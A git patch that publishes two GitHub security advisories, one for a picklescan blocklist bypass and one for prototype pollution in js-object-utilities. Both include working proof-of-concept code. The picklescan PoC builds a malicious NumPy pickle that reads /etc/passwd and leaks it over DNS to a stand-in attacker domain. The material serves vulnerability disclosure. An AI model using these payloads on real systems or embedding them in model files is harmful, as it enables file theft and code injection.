From 2b15e32f8c8ac3533f0d58e9ace11dc0c9c044d4 Mon Sep 17 00:00:00 2001 From: "advisory-database[bot]" <45398580+advisory-database[bot]@users.noreply.github.com> Date: Mon, 7 Apr 2025 18:53:54 +0000 Subject: [PATCH] Publish Advisories GHSA-93mv-x874-956g GHSA-hpqf-m68j-2pfx --- .../GHSA-93mv-x874-956g.json | 59 +++++++++++++++++++ .../GHSA-hpqf-m68j-2pfx.json | 59 +++++++++++++++++++ 2 files changed, 118 insertions(+) create mode 100644 advisories/github-reviewed/2025/04/GHSA-93mv-x874-956g/GHSA-93mv-x874-956g.json create mode 100644 advisories/github-reviewed/2025/04/GHSA-hpqf-m68j-2pfx/GHSA-hpqf-m68j-2pfx.json diff --git a/advisories/github-reviewed/2025/04/GHSA-93mv-x874-956g/GHSA-93mv-x874-956g.json b/advisories/github-reviewed/2025/04/GHSA-93mv-x874-956g/GHSA-93mv-x874-956g.json new file mode 100644 index 00000000000..4bd7d48bee4 --- /dev/null +++ b/advisories/github-reviewed/2025/04/GHSA-93mv-x874-956g/GHSA-93mv-x874-956g.json @@ -0,0 +1,59 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-93mv-x874-956g", + "modified": "2025-04-07T18:52:48Z", + "published": "2025-04-07T18:52:47Z", + "aliases": [], + "summary": "Picklescan Vulnerable to Exfiltration via DNS via linecache and ssl.get_server_certificate", + "details": "### Summary\n\nPicklescan does not detect malicious pickles that exfiltrate sensitive information via DNS after deserialization.\n\n\n### Details\n\npicklescan’s blacklist can be bypassed to exfiltrate sensitive information (like file contents, secrets, or credentials) during model deserialization by leveraging `ssl.get_server_certificate` as the callable function in the pickle payload. Since `ssl` is a standard Python library used for legitimate TLS operations, it is rarely blacklisted by static scanners or runtime monitors.\n\nThe payload avoids flagged modules and instead uses `linecache` (also unflagged) to read local files. The exfiltrated data is added to DNS-safe chunks, and embedded as subdomains in a crafted FQDN. When passed to `ssl.get_server_certificate`, the Python runtime performs a DNS resolution to the attacker-controlled domain, leaking the encoded content.\n\nThe payload executes the following steps:\n\n- Reads sensitive local file content using `linecache` module\n- Encodes the data for DNS exfiltration\n- Constructs a malicious domain name using a third party service `dnslog.cn` \n- Triggers a DNS resolution via `ssl.get_server_certificate`\n- Leaks the encoded file content to the attacker\n\n### PoC\n\nBefore running the PoC change the `fqdn` to your own or a third party that you control. In this PoC we used ` fqdn = f\"{subdomain}.ctmc2q.dnslog.cn\"`.\n\n```python\n\nimport numpy as np\n\ndef create_malicious_model():\n# Define the payload class\n class DNSLogPayload:\n def __reduce__(self):\n # Step 1: read a line from /etc/passwd\n linecache = __import__(\"linecache\")\n first_line = linecache.getline(\"/etc/passwd\", 1).strip()\n\n # Step 2: Sanitize and embed it as a DNS subdomain\n subdomain = first_line.replace(\":\", \"_\").replace(\"/\", \"_\")\n fqdn = f\"{subdomain}.dns-logger.invalid\"\n\n # Step 3: Use ssl.get_server_certificate to trigger DNS resolution\n ssl_mod = __import__(\"ssl\")\n return (getattr(ssl_mod, \"get_server_certificate\"), ((fqdn, 443),))\n\n # Wrap the payload in a NumPy object array\n arr = np.array([DNSLogPayload()], dtype=object)\n\n # Save to .npy file\n np.save(\"dnslog_trigger_payload.npy\", arr, allow_pickle=True) \n\ndef load_model(model):\n try:\n return np.load(model, encoding=\"latin1\", fix_imports=True, allow_pickle=1)\n except Exception:\n raise ValueError(\"Invalid file\")\n\nif __name__ == \"__main__\":\n create_malicious_model()\n model = \"dnslog_trigger_payload.npy\"\n print(\"[i] Loading and executing the model\")\n data = load_model(model)\n \n```\n\n### Impact\n\n1. Evade detection: Bypasses the latest version of picklescan's blacklist. \n2. Exfiltrate sensitive local files to an attacker controlled DNS", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "picklescan" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.0.25" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-93mv-x874-956g" + }, + { + "type": "WEB", + "url": "https://github.com/mmaitre314/picklescan/pull/40" + }, + { + "type": "PACKAGE", + "url": "https://github.com/mmaitre314/picklescan" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-184" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2025-04-07T18:52:47Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/04/GHSA-hpqf-m68j-2pfx/GHSA-hpqf-m68j-2pfx.json b/advisories/github-reviewed/2025/04/GHSA-hpqf-m68j-2pfx/GHSA-hpqf-m68j-2pfx.json new file mode 100644 index 00000000000..16c690c396f --- /dev/null +++ b/advisories/github-reviewed/2025/04/GHSA-hpqf-m68j-2pfx/GHSA-hpqf-m68j-2pfx.json @@ -0,0 +1,59 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-hpqf-m68j-2pfx", + "modified": "2025-04-07T18:52:04Z", + "published": "2025-04-07T18:52:04Z", + "aliases": [], + "summary": "js-object-utilities Vulnerable to Prototype Pollution", + "details": "**Vulnerability type:**\nPrototype Pollution\n\n**Affected Package:**\n* Product: js-object-utilities\n* Version: 2.2.0\n\n**Remedy:**\n\nUpdate package to version 2.2.1.\n\n**Vulnerability Location(s):**\n```js\nat module.exports (/node_modules/js-object-utilities/dist/set.js:16:29)\n```\n\n**Description:**\n\nThe latest version of `js-object-utilities (2.2.0)`, (previous versions are also affected), is vulnerable to Prototype Pollution through the entry function(s) `lib.set`. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence.\n\nMoreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., exec, eval), it could enable an attacker to execute arbitrary commands within the application's context.\n\n**PoC:**\n\n```bash\n// install the package with the latest version\n~$ npm install js-object-utilities@2.2.0\n// run the script mentioned below \n~$ node poc.js\n//The expected output (if the code still vulnerable) is below. \n// Note that the output may slightly differs from function to another.\nBefore Attack: {}\nAfter Attack: {\"pollutedKey\":123}\n```\n\n```js\n// poc.js\n(async () => {\n const lib = await import('js-object-utilities');\n var someObj = {}\n console.log(\"Before Attack: \", JSON.stringify({}.__proto__));\n try {\n // for multiple functions, uncomment only one for each execution.\n Reflect.apply(lib.set, {}, [someObj, \"__proto__.pollutedKey\", 123]);\n } catch (e) { }\n console.log(\"After Attack: \", JSON.stringify({}.__proto__));\n delete Object.prototype.pollutedKey;\n})();\n```\n\n**Reporter Credit:**\n\nTariq Hawis", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P" + } + ], + "affected": [ + { + "package": { + "ecosystem": "npm", + "name": "js-object-utilities" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "2.2.1" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/rrainn/js-object-utilities/security/advisories/GHSA-hpqf-m68j-2pfx" + }, + { + "type": "WEB", + "url": "https://github.com/rrainn/js-object-utilities/commit/05ca694207270b7de275767f3fc93a2a643692a7" + }, + { + "type": "PACKAGE", + "url": "https://github.com/rrainn/js-object-utilities" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-1321" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2025-04-07T18:52:04Z", + "nvd_published_at": null + } +} \ No newline at end of file